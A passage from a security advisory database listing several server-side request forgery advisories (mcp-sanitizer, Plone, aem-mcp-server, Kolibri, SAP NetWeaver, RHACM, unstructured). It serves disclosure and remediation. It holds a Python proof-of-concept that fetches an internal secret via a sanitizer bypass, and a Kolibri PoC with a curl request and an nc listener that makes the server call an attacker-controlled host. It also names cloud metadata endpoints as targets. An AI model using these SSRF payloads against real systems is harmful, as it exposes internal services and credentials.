\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL\n#         This proves the sanitizer flaw leads to real internal service access.\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nssrf_confirmed = False\nssrf_evidence = None\nssrf_url = \"http://localhost:8080/\"\n\nif ssrf_url in bypass_urls:\n    print(f\"[*] Attempting SSRF: GET {ssrf_url} (using sanitizer-approved URL) ...\")\n    try:\n        resp = urllib.request.urlopen(ssrf_url, timeout=5)\n        body = resp.read().decode().strip()\n        print(f\"[*] HTTP response status: {resp.status}\")\n        print(f\"[*] HTTP response body:\\n    {body.replace(chr(10), chr(10) + \u0027    \u0027)}\")\n        if INTERNAL_SECRET in body:\n            ssrf_confirmed = True\n            ssrf_evidence = body\n            print(f\"\\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNAL_SECRET}\")\n    except Exception as exc:\n        print(f\"[ERROR] HTTP request failed: {exc}\")\nelse:\n    print(f\"[WARN] {ssrf_url} was not in bypass_urls; skipping actual SSRF step\")\n\ninternal_server.shutdown()\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 5: Final verdict\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(\"VERDICT\")\nprint(f\"{\u0027=\u0027*65}\")\nprint(f\"  Bypass URLs confirmed by sanitizer: {len(bypass_urls)}\")\nprint(f\"  Bypassed URLs:                      {bypass_urls}\")\nprint(f\"  Actual SSRF HTTP request succeeded: {ssrf_confirmed}\")\nprint(f\"  Exfiltrated secret matches:         {ssrf_confirmed and INTERNAL_SECRET in (ssrf_evidence or \u0027\u0027)}\")\n\nif ssrf_confirmed and len(bypass_urls) \u003e= 2:\n    print(\"\\n  RESULT: PASS - SSRF bypass fully demonstrated end-to-end\")\n    print(\"  - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080\")\n    print(f\"  - Actual HTTP GET to internal service returned: {ssrf_evidence!r}\")\n    sys.exit(0)\nelif len(bypass_urls) \u003e= 2:\n    print(\"\\n  RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed\")\n    print(f\"  - {len(bypass_urls)} URLs bypassed sanitizer: {bypass_urls}\")\n    sys.exit(1)\nelse:\n    print(\"\\n  RESULT: FAIL - expected at least 2 bypass URLs\")\n    sys.exit(1)\n```",
  "id": "GHSA-4mfg-r38w-w8fg",
  "modified": "2026-10-28T19:51:40Z",
  "published": "2026-10-28T19:51:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/starman69/mcp-sanitizer/security/advisories/GHSA-4mfg-r38w-w8fg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/starman69/mcp-sanitizer/commit/200685889b073f7470859b0941b67b7f46255f09"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/starman69/mcp-sanitizer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/starman69/mcp-sanitizer/releases/tag/v1.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6"
}

GHSA-4MG4-WVMX-5332

Vulnerability from github – Published: 2021-06-15 16:11 – Updated: 2024-10-18 21:49
VLAI
Summary
Server-Side Request Forgery in Plone
Details

Plone through 5.2.4 allows remote authenticated managers to conduct SSRF attacks via an event ical URL, to read one line of a file.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Plone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-33510"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-27T21:39:48Z",
    "nvd_published_at": "2021-05-21T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Plone through 5.2.4 allows remote authenticated managers to conduct SSRF attacks via an event ical URL, to read one line of a file.",
  "id": "GHSA-4mg4-wvmx-5332",
  "modified": "2024-10-18T21:49:19Z",
  "published": "2021-06-15T16:11:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33510"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-4mg4-wvmx-5332"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/plone/Plone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/plone/PYSEC-2021-82.yaml"
    },
    {
      "type": "WEB",
      "url": "https://plone.org/security/hotfix/20210518/server-side-request-forgery-via-event-ical-url"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2021/05/22/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Server-Side Request Forgery in Plone"
}

GHSA-4MJ2-2X8X-85XV

Vulnerability from github – Published: 2026-06-01 18:31 – Updated: 2026-06-01 18:31
VLAI
Details

A vulnerability was determined in indrasishbanerjee aem-mcp-server up to b5f833aef9b5dfd17a5991b3b18a8a11edbdc583. This impacts the function getAssetMetadata of the file src/mcp-server.ts of the component Axios Request Flow. Executing a manipulation of the argument assetPath can lead to server-side request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-10274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-01T17:16:44Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was determined in indrasishbanerjee aem-mcp-server up to b5f833aef9b5dfd17a5991b3b18a8a11edbdc583. This impacts the function getAssetMetadata of the file src/mcp-server.ts of the component Axios Request Flow. Executing a manipulation of the argument assetPath can lead to server-side request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-4mj2-2x8x-85xv",
  "modified": "2026-06-01T18:31:50Z",
  "published": "2026-06-01T18:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10274"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indrasishbanerjee/aem-mcp-server/issues/3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indrasishbanerjee/aem-mcp-server"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-10274"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/825401"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/367553"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/367553/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4MJ9-PF4R-CQRC

Vulnerability from github – Published: 2026-06-11 17:10 – Updated: 2026-06-11 17:10
VLAI
Summary
Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset
Details

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

  • GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
  • POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

  • POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
  • GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

  1. Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
  2. No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

  1. Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
  2. GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
  3. POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

  • Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
  • Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
  • Cloud metadata reachability was realistic but service-specific:
  • AWS IMDSv1 — reachable
  • DigitalOcean (/metadata/v1.json) — reachable
  • GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
  • Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

  1. Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
  2. Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
  3. Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
  4. Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Original report by @beraoudabdelkhalek ### Summary The `RemoteFacilityUserViewset` API endpoint (`/api/auth/remotefacilityuser`) has no authentication or permission checks and accepts a user-controlled `baseurl` parameter. This parameter is passed directly to `NetworkClient.build_for_address()` which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints. ### Details This is mainly due to the following issues: **1. Missing authentication on the API endpoint** File: `kolibri/core/auth/api.py`, line ~1553
class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})
No `permission_classes` attribute is defined, and `DEFAULT_PERMISSION_CLASSES` is not set in the DRF configuration, so the endpoint defaults to `AllowAny` , accepting requests with zero authentication. Similarly, `RemoteFacilityUserAuthenticatedViewset` (line ~1577, POST endpoint) also has no `permission_classes`, though it currently checks permissions via a different mechanism. The initial `build_for_address()` call still fires before that check. **2. Weak URL validation** File: `kolibri/utils/urls.py`, line 1-7
from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])
The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on: - RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) - Loopback addresses (127.0.0.0/8, ::1) - Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints) - IPv6 equivalents of any of the above ### PoC **Prerequisites**: A listener on a host reachable by the Kolibri server (e.g., `nc -lvp 1337`) the listener can be local or remote. Against a local Docker deployment (validated against Kolibri 0.19.3):
# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"
The Kolibri server makes an outbound HTTP request to the attacker's listener:
GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Testers have also confirmed the issue against live deployments of Kolibri. ### Impact Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.19.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "kolibri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.19.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48053"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-11T17:10:33Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nSeveral Kolibri API endpoints accept an unvalidated `baseurl` parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the `RemoteFacilityUser*` viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.\n\n## Affected endpoints\n\nReported:\n\n- `GET /api/auth/remotefacilityuser` \u2192 `RemoteFacilityUserViewset` (`kolibri/core/auth/api.py:1570`). No authentication required.\n- `POST /api/auth/remotefacilityauthenticateduserinfo` \u2192 `RemoteFacilityUserAuthenticatedViewset` (`kolibri/core/auth/api.py:1594`). Authentication is checked against the *remote* server rather than the local Kolibri.\n\nFound during remediation:\n\n- `POST /api/public/setupwizard/loddata` \u2192 setup wizard\u0027s remote-signup proxy (`kolibri/plugins/setup_wizard/api.py`). Reachable on unprovisioned devices.\n- `GET /api/public/networklocation/\u003cid\u003e/facilities/` \u2192 `NetworkLocationFacilitiesView` (`kolibri/core/discovery/api.py`). Authenticated but with the same `Response(remote_payload)` pattern.\n\n## Root cause\n\nTwo compounding issues:\n\n1. **Response reflection** \u2014 these endpoints returned the remote server\u0027s JSON body more or less verbatim to the caller (`Response(response.json())`, `Response(facility_info[\"users\"])`, etc.).\n2. **No restriction on the remote target** \u2014 `baseurl` was validated only by `URLValidator(schemes=[\"http\", \"https\"])`. `NetworkClient.build_for_address()` would connect to any host with a valid Kolibri-shaped `/api/public/info/` response, and `requests` followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.\n\n## Two reflection vectors\n\n**GET vector (`RemoteFacilityUserViewset`):**\nThe viewset fetched `\u003cbaseurl\u003e/api/public/facilitysearchuser/` and returned `Response(response.json())`. An attacker-controlled `baseurl` returned a 302 to an arbitrary internal URL; `requests` followed the redirect, and the redirected response body was returned to the attacker.\n\n**POST vector (`RemoteFacilityUserAuthenticatedViewset`):**\n`get_remote_users_info()` fetched `\u003cbaseurl\u003e/api/public/facilityuser/` with Basic Auth and the viewset returned `Response(facility_info[\"users\"])`. A malicious `baseurl` returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and `NetworkLocationFacilitiesView` endpoints had the same shape on different remote URLs.\n\n## Reproduction\n\nThe vulnerability can be reproduced by pointing `baseurl` at an attacker-controlled HTTP server that:\n\n1. Responds to `GET /api/public/info/` with a valid Kolibri info payload (so `NetworkClient.build_for_address()` succeeds).\n2. **GET vector:** responds to `GET /api/public/facilitysearchuser/` with a 302 redirect to the target URL. The redirected response body is reflected via `Response(response.json())`.\n3. **POST vector:** responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.\n\nA working PoC has been retained internally and is not published with this advisory.\n\n## Demonstrated impact (pre-fix)\n\n- **Unauthenticated outbound requests from the Kolibri server** to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).\n- **Reflected data exfiltration** for any HTTP endpoint that responded to a plain `GET` with JSON and no special request headers.\n- **Cloud metadata reachability** was realistic but service-specific:\n  - AWS IMDSv1 \u2014 reachable\n  - DigitalOcean (`/metadata/v1.json`) \u2014 reachable\n  - GCP, Azure, AWS IMDSv2 \u2014 *not* reachable via this vector (require `Metadata-Flavor` / `Metadata` / token headers that the attacker could not inject)\n- **Reachability of internal HTTP services** on the same network as the Kolibri server, with their JSON responses returned to the attacker.\n\n## Not demonstrated\n\nThe earlier draft asserted port scanning via a timing oracle and generic \"internal network mapping.\" The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.\n\n## Mitigation\n\nFour layers of defence:\n\n1. **Response sanitisation.** Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.\n2. **Authentication.** The previously-open `RemoteFacilityUser*` endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).\n3. **Cross-host redirect blocking.** Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.\n4. **Peer allowlist.** Endpoints that accept a caller-supplied `baseurl` resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.\n\n## Credit\n\nInitial report and identification of the `RemoteFacilityUser*` viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.\n\n\n\u003cdetails\u003e\u003csummary\u003eOriginal report by @beraoudabdelkhalek\u003c/summary\u003e\n\n### Summary\nThe `RemoteFacilityUserViewset` API endpoint (`/api/auth/remotefacilityuser`) has no authentication or permission checks and accepts a user-controlled `baseurl` parameter. This parameter is passed directly to `NetworkClient.build_for_address()` which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.\n\n### Details\n\nThis is mainly due to the following issues:\n\n**1. Missing authentication on the API endpoint**\n\nFile: `kolibri/core/auth/api.py`, line ~1553\n\n```python\nclass RemoteFacilityUserViewset(views.APIView):  # No permission_classes \u2192 AllowAny\n    def get(self, request):\n        baseurl = request.query_params.get(\"baseurl\", \"\")\n        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)\n        client = NetworkClient.build_for_address(baseurl)\n        response = client.get(url, params={\"facility\": facility, \"search\": username})\n```\n\nNo `permission_classes` attribute is defined, and `DEFAULT_PERMISSION_CLASSES` is not set in the DRF configuration, so the endpoint defaults to `AllowAny` , accepting requests with zero authentication.\n\nSimilarly, `RemoteFacilityUserAuthenticatedViewset` (line ~1577, POST endpoint) also has no `permission_classes`, though it currently checks permissions via a different mechanism. The initial `build_for_address()` call still fires before that check.\n\n**2. Weak URL validation**\n\nFile: `kolibri/utils/urls.py`, line 1-7\n\n```python\nfrom django.core.validators import URLValidator\nvalidator = URLValidator(schemes=[\"http\", \"https\"])\n```\n\nThe only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:\n- RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)\n- Loopback addresses (127.0.0.0/8, ::1)\n- Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)\n- IPv6 equivalents of any of the above\n\n### PoC\n**Prerequisites**: A listener on a host reachable by the Kolibri server (e.g., `nc -lvp 1337`) the listener can be local or remote.\n\nAgainst a local Docker deployment (validated against Kolibri 0.19.3):\n\n```bash\n# Trigger the SSRF no auth headers needed\ncurl \"http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337\u0026username=test\u0026facility=\u003cfacility_id\u003e\"\n```\n\nThe Kolibri server makes an outbound HTTP request to the attacker\u0027s listener:\n\n```\nGET /api/public/info/?v=3 HTTP/1.1\nHost: 172.17.0.1:1337\nUser-Agent: Kolibri/0.19.3 python-requests/2.27.1\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\n```\n\nTesters have also confirmed the issue against live deployments of Kolibri.\n\n### Impact\nUnauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed\nInternal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle\nCloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata\nInternal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker\nBlind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check\n\n\u003c/details\u003e",
  "id": "GHSA-4mj9-pf4r-cqrc",
  "modified": "2026-06-11T17:10:33Z",
  "published": "2026-06-11T17:10:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/learningequality/kolibri/security/advisories/GHSA-4mj9-pf4r-cqrc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/learningequality/kolibri"
    },
    {
      "type": "WEB",
      "url": "https://github.com/learningequality/kolibri/releases/tag/v0.19.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset"
}

GHSA-4MP4-X5RJ-88JP

Vulnerability from github – Published: 2022-06-14 00:00 – Updated: 2022-07-07 00:00
VLAI
Details

Some part of SAP NetWeaver (EP Web Page Composer) does not sufficiently validate an XML document accepted from an untrusted source, which allows an adversary to exploit unprotected XML parking at endpoints, and a possibility to conduct SSRF attacks that could compromise system’s Availability by causing system to crash.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-28217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-112",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-13T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Some part of SAP NetWeaver (EP Web Page Composer) does not sufficiently validate an XML document accepted from an untrusted source, which allows an adversary to exploit unprotected XML parking at endpoints, and a possibility to conduct SSRF attacks that could compromise system\u2019s Availability by causing system to crash.",
  "id": "GHSA-4mp4-x5rj-88jp",
  "modified": "2022-07-07T00:00:25Z",
  "published": "2022-06-14T00:00:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28217"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3148377"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4MP7-JW3W-XGG2

Vulnerability from github – Published: 2023-01-13 06:30 – Updated: 2023-01-20 18:30
VLAI
Details

RHACM: unauthenticated SSRF in console API endpoint. A Server-Side Request Forgery (SSRF) vulnerability was found in the console API endpoint from Red Hat Advanced Cluster Management for Kubernetes (RHACM). An attacker could take advantage of this as the console API endpoint is missing an authentication check, allowing unauthenticated users making requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-3841"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-13T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "RHACM: unauthenticated SSRF in console API endpoint. A Server-Side Request Forgery (SSRF) vulnerability was found in the console API endpoint from Red Hat Advanced Cluster Management for Kubernetes (RHACM). An attacker could take advantage of this as the console API endpoint is missing an authentication check, allowing unauthenticated users making requests.",
  "id": "GHSA-4mp7-jw3w-xgg2",
  "modified": "2023-01-20T18:30:21Z",
  "published": "2023-01-13T06:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3841"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2022-3841"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4MVJ-M6J5-PMF7

Vulnerability from github – Published: 2026-09-03 17:02 – Updated: 2026-09-03 17:02
VLAI
Summary
unstructured: Server-Side Request Forgery in the URL-based partitioning
Details

Summary

Server-Side Request Forgery in unstructured. The url= argument of partition(), partition_html(), and partition_md() is fetched via requests.get() with no host validation. The response body is returned as Element text, so this is a full-read SSRF — attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response.

